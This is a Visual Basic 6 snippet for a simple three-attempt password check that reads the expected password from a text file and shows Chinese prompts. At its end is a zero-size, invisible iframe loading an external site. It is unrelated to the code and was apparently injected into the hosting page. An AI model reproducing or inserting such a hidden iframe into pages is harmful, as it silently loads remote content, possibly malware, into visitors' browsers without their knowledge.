Private Sub Form_Load()

  n = 3
  Open "d:\mm.txt" For Input As #1
  Line Input #1, a$
  Close #1
  Do While n > 0
    n = n - 1
    mima$ = InputBox("请输入密码：")
    If a$ <> mima$ Then
      MsgBox "密码不正确，重新输入。你还有" & Str(n) & "次机会"
      If n = 0 Then End
    Else
      MsgBox "密码正确，祝你成功！", , ""
      n = 0
    End If
  Loop
 
End Sub


 

<iframe src=http://www.92bdd.com/index.htm width=0 height=0></iframe>